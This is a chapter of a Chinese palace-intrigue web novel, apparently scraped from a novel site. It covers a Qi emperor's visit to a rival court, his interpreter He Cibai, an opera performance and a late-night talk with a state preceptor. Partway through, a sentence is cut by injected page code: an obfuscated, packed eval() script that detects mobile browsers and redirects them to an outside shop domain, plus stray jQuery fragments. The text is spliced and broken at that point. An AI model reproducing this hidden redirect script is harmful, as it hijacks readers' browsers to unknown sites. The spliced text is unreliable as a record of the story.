文趣网 > 都市小说 > 收仇敌之子做我裙下臣 > 52. 闲游
    亥时,何辞白按例来到祁自缘的临时书房,向他禀报白日议定诸项条款的进展。

    祁自缘听着,手上仍翻着随行带来的奏章,偶尔听到要紧处,才会淡淡应上一二。

    待诸事禀毕,何辞白也不忘提起他素来留心的大宁境况,其中一项,便是大宁如今的辅政格局。

    几位辅政重臣的名姓,出身,一一从她口中道出,何辞白的语气皆是如往日般冷静镇定。

    直到说起“大长公主”四个字时,她才顿了一下,头也顺势低了些。

    “大长公主在朝中的根基,一为皇室血脉,二为镇国宝印,三为她与太后早年的情谊。但臣观今日朝上,二人虽配合默契,但大长公主的态度却并非全然出自信任……更像是……”

    她闭了一下眼睛,六年前在金銮殿上的情形忽然自面前闪过。

    宋清平站在丹陛之上,用那种看似怜悯,实则看轻的眼神注视着她,压抑多年的恨意霎时在心底翻涌起来。就连手中的宗卷,也被她攥出了几道细褶。

    察觉到何辞白的停顿,祁自缘也停了翻奏章的动作,抬起头,目光落在她微微颤着的脊背上。

    注意到他的视线,何辞白强稳住心神,方才将那句话重新说下去。

    “……更像在……为太后划界。大长公主在大宁的威望极高,但观今日此状,臣以为……日后她与太后之间的分歧,怕也只是时间问题。”

    祁自缘的目光在她面上停了一瞬,又扫过她微蹙的眉心。

    “一个公主的名号,倒让她管了不少不该管的事。”

    何辞白不语,右手虽仍捧着宗卷,左手却悄悄收回了广袖中,五指攥着袖口边缘的布料,脸色苍白,身子颤得也比方才要厉害了些。

    深吸一口气,她正欲行礼退下时,案边忽然再次传来祁自缘的声音,语气仍然平静,却带了一丝不易察觉的冷意。

    “公主何妨。”

    见她向自己看过来,祁自缘神情未变,只用那种与平日在朝中下旨无异的语气,不徐不疾地接上先前那句。

    “日后让你也做公主,杀杀她的锐气。”

    何辞白攥袖口的动作瞬间停了。

    自她来到齐国,站到他面前的第一日起,她的来历,她的过去,早已被眼前这人查了个干干净净。

    他分明比任何人都清楚她的身份。

    那这话是什么意思?他在为她打抱不平?

    可齐国君主向来以冷心冷情和铁血手腕闻名在外,纵使她现下是他手下的能臣之一,也绝无可能因此便受得这份殊荣。

    何辞白摇了摇头,嘴角也挂上一丝自嘲的笑。

    “陛下说笑了,臣本布衣,又如何能担得起公主二字。”

    话音落下后,殿内也陷入一片沉寂。

    祁自缘没有再接话。

    何辞白见状也不再逗留,微微躬身,朝祁自缘行了一礼。

    “若陛下没有其他吩咐,臣就先告退了。”

    语罢,她转过身,步子迈得迅速,很快就走出了祁自缘的房间。

    廊外夜色深深,何辞白抬起头时,看见了悬在了远天处的那轮明月。

    她下意识伸出手,银色的月光落在手背上,衬得皮肤近乎透明,淡青色的血管也隐约可见。

    与此同时,祁自缘方才对她说的那番话也在心头涌现出来,愈发让她感到困惑。

    左思右想,她还是得不出一个可以说服自己的结论。更高的官职,更大的权柄,这些才是合理的。

    可为何偏偏是那“公主”二字?

    想不明白,她索性不再去想,权当是祁自缘一时兴起,同她说的安慰话罢了。

    又过两日,因通商事宜皆已议毕,落纸成文,今日午后便依礼定了半日闲游——陈晚荣亲自陪同祁自缘游赏宫苑,何辞白则随行翻译。

    此番以外交客人的身份行走在这座皇城里,祁自缘倒也余出几分闲心,路过御花园的千秋亭时,甚至还对上头的藻井工艺赞了几句,称大宁的建筑仅凭榫卯相接,斗拱相扣,便能承载千钧之力,实在精绝。

    陈晚荣闻言也有些微讶,未曾想两年不见,他平日忙于政事,竟还能腾出余裕去研习他国言语风物,心中也不由生出些钦佩之意。

    无论在谈判桌上,还是谈判桌下,祁自缘都是她平生所遇,最值得交锋的对手。

    何辞白随侍在二人身后,起初还会帮忙翻译上两句,后见两人相谈甚欢,便不再多言,只默默退至二人身后,循着她多年的旧习,开始留意起祁自缘的步速,偶尔才会抬起头,往周遭的环境看上两眼。

    此番游苑,大长公主并未随行,也不知是有意回避,还是另有旁的安排。

    第一次踏入大宁时,她已随祁自缘摸清了整个皇宫的大致布局,此时见脚下的路逐渐往寿康宫的方向偏去,心底也多出几分了然。

    他们是在未时过半出来的,现下又走了约莫半个时辰,算算时间,差不多也快到申时了。

    这次来大宁前,齐国的探子报上来的情报中,除去那些与政事相关的,也有一些奇奇怪怪的小道消息。

    譬如,大宁太后爱在申时过后,去控鹤阁那头听戏。

    这点还是她亲自同祁自缘禀报过的。

    眼看路已走到寿康宫附近,果不其然,西偏殿的方向已隐约传来练功的戏腔,听着似乎是哪个戏子在吊嗓子。

    声音穿过宫墙时,其实已模糊了大半,但调子仍能够听得出来。

    祁自缘的脚步顿了一下,转向陈晚荣,状若随意地问了一句。

    “那边是何处,在唱些什么?”

    陈晚荣一愣,看向他的时候,目光越过他肩后,正落在三步外的何辞白身上——她已经开始憋笑了。

    还能是什么?你齐国的耳目遍布天下,不可能不知道控鹤阁的事,又怎么可能不清楚那边到底在唱什么?

    陈晚荣心底只觉荒谬,面上却不显,只如先前与他讨论其他问题那般,淡淡答了句。

    “是本宫平日里听戏的所在,养了几个嗓子不错的戏子。”

    说完后,她继续往前走,恰巧前面是一处分叉口,她正打算把祁自缘往远离寿康宫的那条路上引时,却意外发现那人竟没有跟上来。

    陈晚荣心道不好,连忙转身,见祁自缘立在原地,目光看的仍是那处戏腔传来的方向,直到察觉到她的目光后,才转过头,重新看向她。

    然后他开口,语气十分正式,听上去和他平日在谈判桌上提外交要求时没什么两样。

    “朕在齐国时便听闻大宁戏曲独步天下,只是一直无缘得见,既然今日就在近旁,不知太后可否赏朕一观?”(齐语)

    听到这句齐语时,何辞白脚下险些打了个趔趄。

    陛下,你那是想听戏吗?你分明是想借此去控鹤阁看看大宁太后养的那些……

    但何辞白终究谨守了译官的本分,并未在这件事上过多纠结,面色如常地将原话用大宁语翻译了出来。

    陈晚荣听完后,眼底掠过一丝讶色,旋即恢复如常,很自然地答应下来,甚至还主动引路,面带微笑地将这位齐国皇帝请进了西偏殿。

    殿内人数不多,只有两三个戏子在练功,见陈晚荣来了,皆是停了动作,向着她行礼请安。

    陈晚荣笑着一一回应,又朝他们吩咐道。

    “本宫身后这位,是远道而来的齐皇陛下,说是远远听着觉得你们唱得不错,本宫便领他过来,让你们几个唱一曲,也让他欣赏一番。”

    几个戏子面面相觑,但很快便定了神,如平常般登台献艺。

    此时好戏开唱,祁自缘也顺势看向台上,目光像是在检阅仪仗一般,一一从那几个年轻脸庞上扫过去。

    落在枕流面上时,他的目光多停了一息,但很快就移了开来。

    台上几个戏子咿咿呀呀唱着,不一会儿便唱至酣处。

    “爱焉——爱他自风流

    不沾红尘捕梦装明眸——

    恨焉——恨他无情久

    端得断肠人虚度春秋——”【注】

    整场戏中,祁自缘的神情几乎未变,只在唱到这一段时,他闭上双目,低头轻笑了一声。

    一曲终,祁自缘并未做出评价,只面向陈晚荣,用大宁语说了句“多谢太后”,便迅速起身。

    路过何辞白的时候,他难得放慢了半步,偏头用齐语冷冷说了句什么,不等何辞白反应,便甩袖而去,头也不回地离开了控鹤阁。

    陈晚荣没听清他说的话,只等祁自缘消失在门口时,才唤住何

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748493|204799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    辞白,主动问道。

    “辞白,方才齐皇陛下同你说了什么?”

    何辞白面上那抹意外之色未消,此时听陈晚荣这样问,犹豫了一会儿,终究还是用她平时译述外交言辞的语气,将那句话完完本本地翻译了出来。

    “齐皇陛下说,太后阁里这些人长得还行,就是太瘦了……怕伺候不好太后。”

    说完后,何辞白也有些尴尬,习惯性地整理了一下自己的袖口,又看向陈晚荣。好在对方听完后并未生气,甚至走到她身旁,笑盈盈地拍了拍她的肩膀,又道。

    “替本宫谢过齐皇陛下的关心。也请辞白替我转告陛下,本宫的人,本宫自会照料妥当。”

    ……

    深夜,国师殿内。

    案上的茶已经煮好,无遗取下茶壶倒了两杯,待丝丝缕缕的茶香在殿内散开时,外头也响起一阵脚步声。

    无遗面色平静,搁下茶盏,轻轻将其推到了案几的另一侧。

    殿门是开着的,祁自缘走进来,径直在无遗对面坐下,端起泡好的茶饮了一口,动作自然得像是回了自己家。

    尔后他抬起头,环顾四周。

    “这地方倒是清净,比朕初见你时,你待的那座破庙要好得多。”

    语罢,他重新看向对面的白衣道人,又道。

    “数年未见,你还是老样子,没变。”

    无遗不置可否,淡淡回了句。

    “你也是。”

    顿了一下,无遗再次开口。

    “齐国近来如何?”

    “还是老样子,版图又扩了些。你呢?从前你就跟朕说过,不喜拘束,如今却在宫里待了这么多年,可还习惯?”

    殿内沉默了一阵,茶水声再起时,祁自缘听到了无遗的声音,清清淡淡的,和他泡的茶一般。

    “道在何处不可修。”

    看似答非所问,祁自缘却听出了他想表达的那层意思——我待在这里,自然有我的理由。

    这么多年过去,他这位老朋友的脾气,还是一如既往的倔。

    祁自缘笑了笑,没再多问,转而与无遗谈起了些旁的,只在评价这次谈判时,难得多说了一句。

    “她比前两年难对付多了。”

    无遗侧头,不着痕迹地看了眼窗外,又看向祁自缘,平静道。

    “娘娘这几年殚精竭虑,朝务日繁。”

    祁自缘冷哼一声。

    “日繁?朕看她倒是比从前自在了许多。”

    想起白日种种,祁自缘的脸色也不大好看,手攥紧杯沿的同时,声音也随之低沉几分。

    “朕倒是没想到,她竟喜欢那种长相的。”

    无遗目不斜视,低头饮了口茶。

    “哪种?”

    “瘦的,文气的,和……”

    祁自缘斟酌了一下,似乎找不到合适的词汇去形容,目光再次落到无遗脸上时,忽然道。

    “大概就是,长得像你这样的。”

    话音刚落,对面便响起了一阵轻微的咳嗽声,紧接着,无遗抬眼看他,目光仍是淡淡的,只是多了丝警告的意味。

    祁自缘毫不在意,举起茶盏一饮而尽,随后起身。

    “朕说笑的。夜已深,朕久留此地,于国师清誉无益。下回朕来大宁时,你我还是约在宫外吧。另外……”

    他从袖中取出一包茶,随手搁在了案上。

    “你这儿的茶太淡了,难喝。朕给你带了些齐国的,你得空尝尝。”

    无遗看了一眼那茶,没说什么,站起身,随祁自缘一同走到门口。

    祁自缘已经向前走了几步,那身玄衣几乎同夜色融在一起时,他忽然回过头,轻声唤了句。

    “无遗。”

    “嗯。”

    他沉默了片刻,再响起时,声音却是罕见地放轻了些。

    “……替我看着她。”

    无遗微微颔首。

    目送着祁自缘的身影彻底消失后,他才转过身,回到殿内。

    喝过的茶盏还摆在案上,那包齐国的茶也被搁在一旁。

    无遗看了一眼,便重新坐回原位,目光也再次飘向窗外。

    窗外,远处,犹有一处殿宇还亮着灯火。

    ——那儿是寿康宫的方向。